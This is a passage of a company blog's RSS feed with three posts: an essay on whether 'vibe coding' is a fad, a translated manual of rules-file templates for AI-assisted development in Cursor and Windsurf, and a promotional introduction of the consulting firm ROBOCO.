<li>Vibe coding is not simply AI-assisted coding; it is closer to a development style where the human defines the problem and the AI drives the solution.</li>
<li>Existing engineering skills — software knowledge, problem decomposition, testing, architecture — still matter.</li>
<li>Rather than a passing fad, it is a current that will keep developing, and companies and developers need an attitude of understanding it and putting it to use.</li>
</ul>
<p><strong>First, does vibe coding just mean developing with AI?</strong> Yes and no. Developers have been using AI such as GitHub Copilot and ChatGPT for several years now. The difference is that the previous approach was human-led problem solving, whereas in vibe coding the human defines the problem and the AI takes responsibility all the way through the solution. In automotive terms, development up to now has gone from manual transmission to automatic, and then on to navigation. Vibe coding is closer to autonomous driving: you name the destination and it takes you there.</p>
<p><strong>Second, is vibe coding really possible without software knowledge?</strong> Here too the answer is both yes and no. AI is extremely effective at solving relatively narrow problems, such as algorithm exercises. But for vibe coding to work well on a project past a certain size, a clear problem definition and well-maintained context boundaries are essential. Today&rsquo;s AI tools struggle with excessively complex context. So the ability to break a problem down into appropriately small pieces — that is, a basic understanding of software engineering — is still required. How long this will remain true is anyone&rsquo;s guess, because LLMs and vibe coding tools are advancing fast. What can be said with confidence is that vibe coding as of today has no trouble at all handling context that goes beyond the function level up to the scale of a microservice for most problem solving.</p>
<p><strong>Third, is vibe coding a passing fad?</strong> No. Like the internet or the smartphone, it is already out in the world, and there are plenty of developers — myself included — actually building with it. The usefulness of vibe coding has already been demonstrated; it will not vanish like a fad but will keep improving. AI, the core technology underpinning vibe coding, is also advancing rapidly. Problems that feel hard right now will be solved before long. Going forward, vibe coding will establish itself as an important tool not only for software but for solving all sorts of real-world problems with AI. Of course, people will try to abuse it too, so we need to prepare for that.</p>
<p><strong>Fourth, can vibe coding not be used for large-scale development?</strong> It can. There are limits today given AI&rsquo;s capability, but they are entirely solvable. You divide the development into pieces sized for the AI to handle well. Limiting the context the AI has to consider through prompt engineering, or migrating outright to microservices, are both good approaches. It is perfectly feasible and effective. The important point is that using vibe coding on a project past a certain size requires its own methodology and process.</p>
<p><strong>Fifth, does vibe coding produce a lot of bugs?</strong> Yes. But so does code written by humans. Human or AI, bugs increase as scale grows. The key is to develop in small enough pieces to keep the implementation at the size where vibe coding works well. This is where a structure that is closed to modification and open to extension — the &lsquo;O&rsquo; in the SOLID principles — really shines. On another front, TDD (test-driven development) is extremely useful in vibe coding as well. The difference is that a human doing TDD writes the test first and then the implementation, whereas the AI produces the test and the implementation almost simultaneously. Test code written this way becomes a sturdy shield against later changes.</p>
<p><strong>Sixth, is vibe coding a completely new way of developing?</strong> Not yet. Just as cars still have steering wheels even though autonomous driving has arrived, vibe coding inherits the good practices of existing software development. Test code, the SOLID principles, clean architecture, DDD, CI/CD, static code analysis — the established best practices carry over to vibe coding intact. If anything, because AI can adhere to these principles more rigorously, it lets you maximize the benefits those practices bring. That said, I expect vibe coding will soon advance to the point where it no longer shows you the code itself, or can hide it without any problem — much as the steering wheel disappears in a fully autonomous car. Programming languages and frameworks built for AI may even emerge.</p>
<p><strong>Finally, can vibe coding not be used at large enterprises?</strong> I expect the spread of vibe coding to follow a pattern similar to cloud computing adoption. From a large enterprise&rsquo;s point of view, adopting vibe coding quickly will not be easy. But over time, issues like compliance will be addressed by solutions from the cloud vendors. Companies with insight into technology will confirm the potential and hurry to adopt. Startups, lighter on their feet than large enterprises, are already adopting vibe coding at a rapid pace. Even so, defining and solving business problems remains the human&rsquo;s job.</p>
<p>To sum up, vibe coding is not a passing fad. It still has gaps, but it holds enormous potential and it is evolving without pause. What matters is our own attitude — understanding it and knowing how to use it well.</p>
]]></content>
        </item>
        
        <item>
            <title>The Vibe Coding Manual: A Template for AI-Assisted Development</title>
            <link>https://roboco.io/en/posts/vibe-coding-manual/</link>
            <pubDate>Tue, 11 Mar 2025 06:52:53 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-manual/</guid>
            <description>&lt;p&gt;(Version 1.0 – March 2025)&lt;/p&gt;
&lt;p&gt;This post is a translation of the &lt;a href=&#34;https://www.reddit.com/r/ChatGPTCoding/comments/1j5l4xw/vibe_coding_manual/&#34;&gt;Vibe Coding Manual&lt;/a&gt; posted on Reddit.&lt;/p&gt;
&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Vibe Coding is a development approach that combines specification, rules, and oversight to build projects together with AI.&lt;/li&gt;
&lt;li&gt;The key to a rules file is clearly separating coding style, tech stack, workflow, and communication expectations.&lt;/li&gt;
&lt;li&gt;It applies to everything from small scripts to large applications, but you have to keep managing the AI&amp;rsquo;s scope creep and context loss.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;introduction-core-concepts-of-vibe-coding-and-ai&#34;&gt;Introduction: Core Concepts of Vibe Coding and AI&lt;/h2&gt;
&lt;h3 id=&#34;what-is-vibe-coding-and-what-is-it-built-on&#34;&gt;What Is Vibe Coding, and What Is It Built On?&lt;/h3&gt;
&lt;p&gt;Vibe Coding is a collaborative software development approach in which a human uses AI models (e.g., Claude 3.7, GPT-4o) to efficiently build functional projects. Introduced in &amp;ldquo;&lt;a href=&#34;https://www.youtube.com/watch?v=YWwS911iLhg&#34;&gt;Vibe Coding Tutorial and Best Practices&lt;/a&gt;,&amp;rdquo; which Matthew Berman published on his YouTube channel, the concept rests on three core pillars:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>(Version 1.0 – March 2025)</p>
<p>This post is a translation of the <a href="https://www.reddit.com/r/ChatGPTCoding/comments/1j5l4xw/vibe_coding_manual/">Vibe Coding Manual</a> posted on Reddit.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Vibe Coding is a development approach that combines specification, rules, and oversight to build projects together with AI.</li>
<li>The key to a rules file is clearly separating coding style, tech stack, workflow, and communication expectations.</li>
<li>It applies to everything from small scripts to large applications, but you have to keep managing the AI&rsquo;s scope creep and context loss.</li>
</ul>
<h2 id="introduction-core-concepts-of-vibe-coding-and-ai">Introduction: Core Concepts of Vibe Coding and AI</h2>
<h3 id="what-is-vibe-coding-and-what-is-it-built-on">What Is Vibe Coding, and What Is It Built On?</h3>
<p>Vibe Coding is a collaborative software development approach in which a human uses AI models (e.g., Claude 3.7, GPT-4o) to efficiently build functional projects. Introduced in &ldquo;<a href="https://www.youtube.com/watch?v=YWwS911iLhg">Vibe Coding Tutorial and Best Practices</a>,&rdquo; which Matthew Berman published on his YouTube channel, the concept rests on three core pillars:</p>
<ol>
<li><strong>Specification</strong>: Define the goal (e.g., &ldquo;build a Twitter clone with login&rdquo;).</li>
<li><strong>Rules</strong>: Set explicit constraints (e.g., &ldquo;use Python, avoid complexity&rdquo;).</li>
<li><strong>Oversight</strong>: Monitor and adjust the process to ensure consistency.</li>
</ol>
<p>Building on Berman&rsquo;s foundation, this manual incorporates community insights from YouTube comments (u/nufh, u/robistocco, and others) and Reddit threads (u/illusionst, u/DonkeyBonked, and others) to provide a comprehensive framework for developers at every level.</p>
<h3 id="why-is-this-framework-useful">Why Is This Framework Useful?</h3>
<p>AI models are powerful but prone to chaos such as over-engineering, scope creep, or context loss. This manual addresses the following problems:</p>
<ul>
<li><strong>Chaos control</strong>: Enforces strict adherence to rules, minimizing off-track behavior.</li>
<li><strong>Time savings</strong>: Structured steps and summaries reduce rework.</li>
<li><strong>Clarity</strong>: Non-technical users can follow along easily, while programmers gain precise control.</li>
</ul>
<h3 id="key-benefits">Key Benefits</h3>
<ol>
<li><strong>Clarity</strong>: The rules are organized modularly, making them easy to navigate and adjust.</li>
<li><strong>Control</strong>: The user directly dictates the pace and scope of the AI&rsquo;s work.</li>
<li><strong>Scalability</strong>: Applicable to everything from small scripts (e.g., a calculator) to large apps (e.g., a web platform).</li>
<li><strong>Maintainability</strong>: Documentation and tracking ensure long-term project viability.</li>
</ol>
<h2 id="structure-of-the-manual-how-it-is-organized">Structure of the Manual: How It Is Organized</h2>
<p>The framework consists of four files (or sections), each with its own distinct purpose, in the <code>.cursor/rules</code> directory (or <code>.windsurfrules</code>):</p>
<ol>
<li><strong>Coding preferences</strong> – Define code style and quality standards.</li>
<li><strong>Tech stack</strong> – Specify tools and technologies.</li>
<li><strong>Workflow preferences</strong> – Manage the AI&rsquo;s process and execution.</li>
<li><strong>Communication preferences</strong> – Set expectations for AI-human interaction.</li>
</ol>
<p>We will start with the basics for accessibility and then move on to advanced details for technical depth.</p>
<h2 id="core-rules-a-simple-starting-point">Core Rules: A Simple Starting Point</h2>
<h3 id="1-coding-preferences--write-code-this-way">1. Coding Preferences – &ldquo;Write Code This Way&rdquo;</h3>
<p><strong>Purpose</strong>: Ensure clean, maintainable, and efficient code.</p>
<p><strong>Rules</strong>:</p>
<ul>
<li><strong>Simplicity</strong>: &ldquo;Always prioritize the simplest solution over complexity.&rdquo; (Matthew Berman)</li>
<li><strong>No duplication</strong>: &ldquo;Avoid repeating code; reuse existing functionality when possible.&rdquo; (Matthew Berman, DRY from u/DonkeyBonked)</li>
<li><strong>Organization</strong>: &ldquo;Keep files concise, under 200-300 lines, and refactor as needed.&rdquo; (Matthew Berman)</li>
<li><strong>Documentation</strong>: &ldquo;After developing a major component, write a brief summary in /docs/[component].md (e.g., login.md).&rdquo; (u/believablybad)</li>
</ul>
<p><strong>Why it works</strong>: Simple code reduces bugs, and documentation provides a readable audit trail.</p>
<h3 id="2-tech-stack--use-these-tools">2. Tech Stack – &ldquo;Use These Tools&rdquo;</h3>
<p><strong>Purpose</strong>: Restrict the AI to the technologies the user prefers.</p>
<p><strong>Rules</strong> (Berman&rsquo;s examples):</p>
<ul>
<li>&ldquo;Write the backend in Python.&rdquo;</li>
<li>&ldquo;Write the frontend in HTML and JavaScript.&rdquo;</li>
<li>&ldquo;Store data in a SQL database, not JSON files.&rdquo;</li>
<li>&ldquo;Write tests in Python.&rdquo;</li>
</ul>
<p><strong>Why it works</strong>: Maintains consistency and prevents the AI from switching tools mid-project.</p>
<h3 id="3-workflow-preferences--work-this-way">3. Workflow Preferences – &ldquo;Work This Way&rdquo;</h3>
<p><strong>Purpose</strong>: Control the AI&rsquo;s execution process for predictability.</p>
<ul>
<li><strong>Focus</strong>: &ldquo;Modify only the code I specify; leave everything else untouched.&rdquo; (Matthew Berman)</li>
<li><strong>Steps</strong>: &ldquo;Break large tasks into stages and wait for my approval after each one.&rdquo; (u/xmontc)</li>
<li><strong>Planning</strong>: &ldquo;Before big changes, write a plan.md and wait for my confirmation.&rdquo; (u/RKKMotorsports)</li>
<li><strong>Tracking</strong>: &ldquo;Log completed work in progress.md and next steps in TODO.txt.&rdquo; (u/illusionst, u/petrhlavacek)</li>
</ul>
<p><strong>Why it works</strong>: Incremental steps and logs keep the process transparent and manageable.</p>
<h3 id="4-communication-preferences--talk-to-me-this-way">4. Communication Preferences – &ldquo;Talk to Me This Way&rdquo;</h3>
<p><strong>Purpose</strong>: Ensure clear, actionable feedback from the AI.</p>
<ul>
<li><strong>Summaries</strong>: &ldquo;After completing each component, summarize what was done.&rdquo; (u/illusionst)</li>
<li><strong>Change scale</strong>: &ldquo;Classify changes as Small, Medium, or Large.&rdquo; (u/illusionst)</li>
<li><strong>Clarification</strong>: &ldquo;If my request is unclear, ask questions before proceeding.&rdquo; (u/illusionst)</li>
</ul>
<p><strong>Why it works</strong>: You get clear information without having to decipher the AI&rsquo;s intent.</p>
<h2 id="advanced-rules-scaling-for-complex-projects">Advanced Rules: Scaling for Complex Projects</h2>
<h3 id="1-coding-preferences--raising-quality">1. Coding Preferences – Raising Quality</h3>
<p><strong>Extensions</strong>:</p>
<ul>
<li><strong>Principles</strong>: &ldquo;Follow SOLID principles (e.g., single responsibility, dependency inversion) where applicable.&rdquo; (u/Yodukay, u/philip_laureano)</li>
<li><strong>Guardrails</strong>: &ldquo;Never use mock data in development or production environments — restrict it to tests only.&rdquo; (Matthew Berman)</li>
<li><strong>Context check</strong>: &ldquo;Start every response with a random emoji (e.g., 🐙) to confirm context retention.&rdquo; (u/evia89)</li>
<li><strong>Efficiency</strong>: &ldquo;Optimize output to minimize token usage without sacrificing clarity.&rdquo; (u/Puzzleheaded-Age-660)</li>
</ul>
<p><strong>Technical insight</strong>: SOLID ensures modularity (e.g., the login module isn&rsquo;t responsible for handling tweets). The emoji signals when context has exceeded the model&rsquo;s limit (typically 200k tokens for Claude 3.7).</p>
<h3 id="2-tech-stack--customization">2. Tech Stack – Customization</h3>
<p><strong>Extensions</strong>:</p>
<ul>
<li>&ldquo;If you specify additional tools (e.g., Elasticsearch for search), include them here.&rdquo; (Matthew Berman)</li>
<li>&ldquo;Never change the stack without my explicit approval.&rdquo; (Matthew Berman)</li>
</ul>
<p><strong>Technical insight</strong>: A fixed stack prevents the AI from introducing incompatible dependencies (e.g., switching from SQL to JSON).</p>
<h3 id="3-workflow-preferences--process-mastery">3. Workflow Preferences – Process Mastery</h3>
<p><strong>Extensions</strong>:</p>
<ul>
<li><strong>Testing</strong>: &ldquo;Include comprehensive tests for major features and suggest edge case tests (e.g., invalid input).&rdquo; (u/illusionst)</li>
<li><strong>Context management</strong>: &ldquo;When context exceeds 100k tokens, summarize into context-summary.md and restart the session.&rdquo; (u/Minimum_Art_2263, u/orbit99za)</li>
<li><strong>Adaptability</strong>: &ldquo;Adjust checkpoint frequency based on my feedback (more or less granular).&rdquo; (u/illusionst)</li>
</ul>
<p><strong>Technical insight</strong>: Token limits (e.g., Claude&rsquo;s 200k) mean performance degrades past 100k. Summaries help maintain continuity, and tests catch regressions early.</p>
<h3 id="4-communication-preferences--precision-interaction">4. Communication Preferences – Precision Interaction</h3>
<p><strong>Extensions</strong>:</p>
<ul>
<li><strong>Planning</strong>: &ldquo;For Large changes, provide an implementation plan and wait for approval.&rdquo; (u/illusionst)</li>
<li><strong>Tracking</strong>: &ldquo;Always state clearly what is complete and what is pending.&rdquo; (u/illusionst)</li>
<li><strong>Emotional signals</strong>: &ldquo;When I indicate urgency (e.g., &rsquo;this is important — don&rsquo;t mess it up!&rsquo;), prioritize care and precision.&rdquo; (u/dhamaniasad, u/capecoderrr)</li>
</ul>
<p><strong>Technical insight</strong>: Change classification (S/M/L) quantifies impact (e.g., Small = under 50 lines, Large = architectural change). Emotional signals may let the AI draw on training data patterns to elicit better compliance.</p>
<h2 id="a-practical-example-how-it-works">A Practical Example: How It Works</h2>
<p><strong>Task</strong>: &ldquo;Build a note-taking app with save functionality.&rdquo;</p>
<ol>
<li>
<p><strong>Specification</strong>: The user says, &ldquo;I need an app where I can write and save notes.&rdquo;</p>
</li>
<li>
<p><strong>AI response</strong>:
&ldquo;🦋 Understood. Plan: 1. Backend (Python, SQL storage), 2. Frontend (HTML/JS), 3. Save functionality. Shall I proceed?&rdquo;</p>
</li>
<li>
<p><strong>User</strong>: &ldquo;Yes.&rdquo;</p>
</li>
<li>
<p><strong>Execution</strong>:
After the backend: &ldquo;🐳 Backend complete (Medium change). Notes are stored in SQL. I&rsquo;ve updated progress.md and TODO.txt. Next: the frontend?&rdquo;
After the frontend: &ldquo;🌟 Frontend complete. Added docs/notes.md with usage instructions. Done!&rdquo;</p>
</li>
<li>
<p><strong>Result</strong>: A working app with logs (progress.md, /docs) for reference.</p>
</li>
</ol>
<p><strong>Technical note</strong>: Each stage is individually testable (e.g., SQL inserts work), and context is preserved through summaries.</p>
<h2 id="advanced-tips-maximizing-the-framework">Advanced Tips: Maximizing the Framework</h2>
<h3 id="why-four-files">Why Four Files?</h3>
<ul>
<li><strong>Modularity</strong>: Each file separates a concern (style, tools, process, communication) for easy updates. (Matthew Berman)</li>
<li><strong>Scalability</strong>: You can adjust one file without disturbing the others (e.g., tuning the communication style without touching the tech stack). (u/illusionst)</li>
</ul>
<h3 id="customization-options">Customization Options</h3>
<ul>
<li><strong>Beginners</strong>: Skip the advanced rules (e.g., SOLID) for simplicity.</li>
<li><strong>Teams</strong>: Add team-collaboration.mdc: &ldquo;Align with the team rules in team-standards.md and summarize for colleagues.&rdquo; (u/deleatanda5910)</li>
<li><strong>Large projects</strong>: Increase the frequency of checkpoints and documentation.</li>
</ul>
<h3 id="emotional-prompting">Emotional Prompting</h3>
<ul>
<li>Try it: &ldquo;This project is important — please focus!&rdquo; Anecdotal evidence suggests improved attentiveness, which may stem from training data bias. (u/capecoderrr, u/dhamaniasad)</li>
</ul>
<h2 id="credits-and-acknowledgments">Credits and Acknowledgments</h2>
<p>This framework owes a debt to the following contributors:</p>
<ul>
<li>
<p><strong>Andrej Karpathy</strong>: Coined the term &ldquo;vibe coding&rdquo; and introduced it to the broader community in a post on X (February 3, 2025). He described AI-assisted programming focused on intuitive, minimal-effort workflows. His work inspired the foundational concepts of this framework.</p>
</li>
<li>
<p><strong>Matthew Berman</strong>: Core vibe coding rules and philosophy (YouTube, 2025).</p>
</li>
<li>
<p><strong>YouTube community</strong>:</p>
<ul>
<li>u/nufh, u/believablybad (documentation, .md files).</li>
<li>u/robistocco (iterative workflow).</li>
<li>u/xmontc (checkpoints).</li>
</ul>
</li>
<li>
<p><strong>Reddit community</strong>:</p>
<ul>
<li>u/illusionst (communication, progress tracking).</li>
<li>u/Puzzleheaded-Age-660 (token optimization).</li>
<li>u/DonkeyBonked, u/philip_laureano (KISS, DRY, YAGNI, SOLID).</li>
<li>u/evia89 (emoji context check).</li>
<li>u/dhamaniasad, u/capecoderrr (emotional prompting).</li>
</ul>
</li>
<li>
<p><strong>Grok (xAI)</strong>: At u/Low_Target2606&rsquo;s request, synthesized this manual by consolidating all the insights into a single coherent framework.</p>
</li>
</ul>
<h2 id="conclusion-a-guide-to-vibe-coding">Conclusion: A Guide to Vibe Coding</h2>
<p>This manual is a battle-tested template for putting AI to work in development. Balancing simplicity, control, and scalability, it is ideal for solo coders, teams, or non-technical creators. Use it as is, adapt it to your needs, and share your results — I&rsquo;d love to see how it evolves! Post your feedback on Reddit and let&rsquo;s improve it together. Happy coding!</p>
<hr>
<h2 id="appendix-example-global-rules-and-workspace-rules-for-windsurf">Appendix: Example Global Rules and Workspace Rules for Windsurf</h2>
<h3 id="global-rules">Global rules</h3>
<h4 id="1-implementation-principles">1️⃣ Implementation Principles</h4>
<ul>
<li>Implement using SOLID principles:
<ul>
<li>Single Responsibility Principle</li>
<li>Open-Closed Principle</li>
<li>Liskov Substitution Principle</li>
<li>Interface Segregation Principle</li>
<li>Dependency Inversion Principle</li>
</ul>
</li>
<li>Implement with TDD: write tests first, then implement, following test-driven development.</li>
<li>Implement using Clean Architecture: clearly separate responsibilities and concerns.</li>
</ul>
<h4 id="2-code-quality-principles">2️⃣ Code Quality Principles</h4>
<ul>
<li>Simplicity: always prioritize the simplest solution over a complex one.</li>
<li>No duplication: avoid duplicating code and reuse existing functionality where possible (DRY principle).</li>
<li>Guardrails: never use mock data in development or production environments, only in tests.</li>
<li>Efficiency: optimize output to minimize token usage without sacrificing clarity.</li>
</ul>
<h4 id="3-refactoring">3️⃣ Refactoring</h4>
<ul>
<li>When refactoring is needed, explain the plan, get permission, and then proceed.</li>
<li>The goal is to improve the code structure, not to change functionality.</li>
<li>After refactoring, confirm that all tests pass.</li>
</ul>
<h4 id="4-debugging">4️⃣ Debugging</h4>
<ul>
<li>When debugging, explain the cause and the solution, get permission, and then proceed.</li>
<li>What matters is not clearing the error but making it work properly.</li>
<li>If the cause is unclear, add detailed logs for analysis.</li>
</ul>
<h4 id="5-language">5️⃣ Language</h4>
<ul>
<li>Communicate in Korean.</li>
<li>Write documentation and comments in Korean as well.</li>
<li>Technical terms, library names, and the like may stay in the original language.</li>
</ul>
<h4 id="6-git-commits">6️⃣ Git Commits</h4>
<ul>
<li>Never use <code>--no-verify</code>.</li>
<li>Write clear, consistent commit messages.</li>
<li>Keep commits at an appropriate size.</li>
</ul>
<h4 id="7-documentation">7️⃣ Documentation</h4>
<ul>
<li>After developing a major component, write a brief summary in /docs/[component].md.</li>
<li>Update documentation along with the code.</li>
<li>Explain complex logic or algorithms in comments.</li>
</ul>
<h3 id="workspace-rules">Workspace rules</h3>
<h4 id="1-tech-stack---use-these-tools">1️⃣ Tech Stack - &ldquo;Use These Tools&rdquo;</h4>
<h5 id="development-tools">Development Tools</h5>
<ul>
<li>Backend: use Python</li>
<li>Infrastructure: Pulumi for TypeScript, CloudFormation</li>
<li>Data storage: MySQL-compatible Aurora Serverless</li>
<li>Testing: pytest, Jest</li>
</ul>
<h5 id="additional-notes">Additional Notes</h5>
<ul>
<li>Additional tools may be included here if explicitly requested.</li>
<li>Do not change the stack without explicit approval.</li>
<li>Write resource Descriptions in Terraform or CDK in English.</li>
</ul>
<h4 id="2-workflow-preferences---work-this-way">2️⃣ Workflow Preferences - &ldquo;Work This Way&rdquo;</h4>
<h5 id="basic-process">Basic Process</h5>
<ul>
<li>Focus: modify only the specified code and leave the rest as is.</li>
<li>Steps: break large tasks into stages and wait for approval after each one.</li>
<li>Planning: before big changes, write a design and task overview document [issue-name]_design.md and an implementation plan document [issue-name]_plan.md, then wait for confirmation.</li>
<li>Tracking: log completed work in progress.md and next steps in TODO.txt.</li>
</ul>
<h5 id="advanced-workflow">Advanced Workflow</h5>
<ul>
<li>Testing: include comprehensive tests for major features and suggest edge case tests.</li>
<li>Context management: when context exceeds 100k tokens, summarize into context-summary.md and restart the session.</li>
<li>Adaptability: adjust checkpoint frequency based on feedback (more or less granular).</li>
</ul>
<h4 id="3-communication-preferences---communicate-this-way">3️⃣ Communication Preferences - &ldquo;Communicate This Way&rdquo;</h4>
<h5 id="basic-communication">Basic Communication</h5>
<ul>
<li>Summaries: summarize the completed work after each component.</li>
<li>Change scale: classify changes as small, medium, or large.</li>
<li>Clarification: if a request is unclear, ask before proceeding.</li>
</ul>
<h5 id="precision-communication">Precision Communication</h5>
<ul>
<li>Planning: for large changes, provide an implementation plan and wait for approval.</li>
<li>Tracking: always state what is complete and what is pending.</li>
<li>Emotional signals: when urgency is indicated (e.g., &ldquo;this is important — please focus!&rdquo;), prioritize care and accuracy.</li>
</ul>
<h4 id="4-project-structure">4️⃣ Project Structure</h4>
<h5 id="directory-structure">Directory Structure</h5>
<ul>
<li><code>docs/</code>: all documentation files
<ul>
<li><code>architecture/</code>: architecture documents</li>
<li><code>guides/</code>: developer guides</li>
<li><code>runbooks/</code>: operations manuals</li>
</ul>
</li>
<li><code>src/</code>: source code
<ul>
<li><code>core/</code>: core business logic</li>
<li><code>infrastructure/</code>: infrastructure-related code</li>
<li><code>api/</code>: API endpoints</li>
</ul>
</li>
<li><code>tests/</code>: test files</li>
</ul>
<h5 id="naming-conventions">Naming Conventions</h5>
<ul>
<li>File names: use snake_case (e.g., <code>user_service.py</code>)</li>
<li>Class names: use PascalCase (e.g., <code>UserService</code>)</li>
<li>Function and variable names: use snake_case (e.g., <code>get_user()</code>)</li>
<li>Constants: use UPPER_SNAKE_CASE (e.g., <code>MAX_USERS</code>)</li>
</ul>
<h4 id="5-how-to-use-this">5️⃣ How to Use This</h4>
<p>This rule set is a template for AI-assisted development. Use it as follows:</p>
<ol>
<li>Reference these rules when starting a project.</li>
<li>Adjust the rules as needed.</li>
<li>Instruct the AI model to follow the contents of this file.</li>
<li>As the project progresses, evaluate how much these rules help.</li>
</ol>
<p>With this rule set, collaborating with AI will become more efficient and more predictable.</p>
]]></content>
        </item>
        
        <item>
            <title>Introducing ROBOCO (Robot Co-worker)</title>
            <link>https://roboco.io/en/posts/introduce/</link>
            <pubDate>Mon, 17 Feb 2025 11:47:08 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/introduce/</guid>
            <description>&lt;h3 id=&#34;shall-we-turn-innovation-into-reality-together&#34;&gt;&lt;strong&gt;Shall We Turn Innovation Into Reality Together?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&amp;ldquo;We want to adopt AI and cloud at our company too — but where do we even start?&amp;rdquo;
Plenty of companies talk about &lt;strong&gt;digital transformation&lt;/strong&gt;, yet once it comes time to actually execute, they run into complex technical barriers, in-house infrastructure limits, and gaps in their team&amp;rsquo;s skills. &lt;strong&gt;AI and cloud&lt;/strong&gt; keep growing in importance, but without a proper roadmap and real expertise, turning them into results is genuinely hard.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h3 id="shall-we-turn-innovation-into-reality-together"><strong>Shall We Turn Innovation Into Reality Together?</strong></h3>
<p>&ldquo;We want to adopt AI and cloud at our company too — but where do we even start?&rdquo;
Plenty of companies talk about <strong>digital transformation</strong>, yet once it comes time to actually execute, they run into complex technical barriers, in-house infrastructure limits, and gaps in their team&rsquo;s skills. <strong>AI and cloud</strong> keep growing in importance, but without a proper roadmap and real expertise, turning them into results is genuinely hard.</p>
<p><strong>ROBOCO (Robot Co-worker)</strong> is an <strong>IT consulting firm</strong> founded to solve exactly that problem. Engineers who came out of <strong>global IT companies</strong> such as AWS and Google joined forces to help businesses do more than merely &ldquo;attempt&rdquo; digital transformation — to make it <strong>work on the ground</strong> while simultaneously raising <strong>the organization&rsquo;s own capabilities</strong>. ROBOCO&rsquo;s founding members have run a great many cloud and AI projects, and along the way they experienced firsthand that no matter how good a solution you bring in, it won&rsquo;t last unless the company&rsquo;s culture and internal technical strength can support it.</p>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>ROBOCO is an IT consulting firm that helps companies adopt AI and cloud in ways that actually work in practice.</li>
<li>Our core areas are GenAI-driven development automation, cloud-native platform engineering, digital transformation, and AI transformation.</li>
<li>We pair immediately deployable solutions with training, so clients internalize the capabilities and keep them after the engagement ends.</li>
</ul>
<h4 id="heading"><strong>&ldquo;We Achieve Business Innovation Through Technology&rdquo;</strong></h4>
<p>ROBOCO&rsquo;s mission is simple and clear.</p>
<blockquote>
<p><strong>To realize our clients&rsquo; business innovation with the latest AI technology</strong></p>
</blockquote>
<p>To that end, we&rsquo;ve defined four primary business areas — <strong>GenAI-driven development automation</strong>, <strong>cloud-native platform engineering</strong>, <strong>digital transformation</strong>, and <strong>AI transformation</strong> — and staffed each with specialists.</p>
<ul>
<li>
<p><strong>GenAI-driven development automation</strong> uses AI to automate repetitive coding and testing work, dramatically shortening development time and freeing developers to focus on more creative problem solving.</p>
</li>
<li>
<p><strong>Cloud-native platform engineering</strong> applies modern cloud technologies such as serverless and container orchestration to help companies run scalable, reliable services.</p>
</li>
<li>
<p><strong>Digital transformation</strong> migrates legacy systems to cloud and AI environments and supports the adoption of an agile organizational culture, lifting both operational efficiency and agility.</p>
</li>
<li>
<p><strong>AI transformation</strong> is the process of applying machine learning and AI models across the enterprise to realize data-driven decision making and automation.</p>
</li>
</ul>
<hr>
<h4 id="heading-1"><strong>&ldquo;You Get Both a Ready-to-Use Solution and the Training to Run It&rdquo;</strong></h4>
<p>The biggest differentiator ROBOCO emphasizes is that we deliver <strong>&ldquo;a solution that actually works&rdquo;</strong> and <strong>&ldquo;stronger in-house capability&rdquo;</strong> <strong>at the same time</strong>. Many consulting firms produce excellent volumes of documentation and presentations, but leave the question of how to actually implement any of it on the ground to the client. ROBOCO instead proposes pre-validated <strong>frameworks</strong>, <strong>processes</strong>, and <strong>tools</strong>, puts them to work <strong>immediately</strong>, and runs a <strong>training program</strong> in parallel.</p>
<p>As a result, clients get <strong>clear deliverables</strong> in a <strong>short span of time</strong> while building the foundation for their own people to <strong>understand and operate</strong> the new technologies and processes <strong>on their own</strong>. In other words, because the in-house capability is already there when the engagement ends, the company can <strong>lead</strong> follow-on projects and expansions itself.</p>
<hr>
<h4 id="heading-2"><strong>&ldquo;Experts From Global IT Companies Are With You&rdquo;</strong></h4>
<p>Our founding members bring backgrounds including <strong>senior developer and trainer at AWS</strong>, <strong>senior developer at Google</strong>, and <strong>startup front-end and large-scale e-commerce back-end work</strong>. Through countless internal and client projects, they kept encountering the same frustration from companies: &ldquo;We want to adopt new technology quickly, but finding the right partner turned out to be hard.&rdquo;</p>
<p>That&rsquo;s why ROBOCO calls itself &ldquo;<strong>Robot Co-worker</strong>&rdquo; — a colleague who collaborates with robots — expressing our commitment to building the innovation companies want <strong>together</strong> with them. The name conveys that while we make full use of AI and automation, <strong>human capability and collaboration ultimately come first</strong>, and it stands for the philosophy that technology doesn&rsquo;t take work away from people but <strong>helps them focus on more valuable work</strong>.</p>
<hr>
<h4 id="heading-3"><strong>&ldquo;Here&rsquo;s How We&rsquo;re Building Digital Innovation&rdquo;</strong></h4>
<p>ROBOCO has recently been running <strong>digital and AI transformation projects</strong> with a range of companies in Korea and abroad. In one case, we migrated legacy systems to the cloud in phases, <strong>cutting operating costs</strong> while improving <strong>service stability</strong>. In another, we implemented <strong>marketing automation</strong> with generative AI and <strong>improved response rates</strong>. Above all, we hear back that because the client&rsquo;s own team can now operate the newly learned technologies and processes directly after each project, they have a <strong>foundation for long-term self-sufficiency</strong>.
This is what we mean by keeping both keywords — <strong>&ldquo;execution and internalization&rdquo;</strong> — front and center: consulting aimed at generating real results for the client.</p>
<hr>
<h4 id="heading-4"><strong>&ldquo;Build a New Future With ROBOCO&rdquo;</strong></h4>
<p>AI and cloud have already become an irreversible current, and they are no longer a matter for <strong>the future</strong> — they&rsquo;re a task for <strong>right now</strong>. ROBOCO will keep researching and building in step with the latest trends, including <strong>generative AI</strong>, <strong>multi-cloud architecture</strong>, and <strong>MLOps</strong>, to help companies ride <strong>the wave of innovation</strong>.</p>
<p>We hope ROBOCO can be a dependable partner on the journey of creating new possibilities where technology and people work together. Through <strong>faster AI and cloud innovation</strong> and <strong>substantive organizational capability building</strong>, let&rsquo;s create the experience of taking your business to a new level.</p>
]]></content>
        </item>
        
    </channel>
</rss>
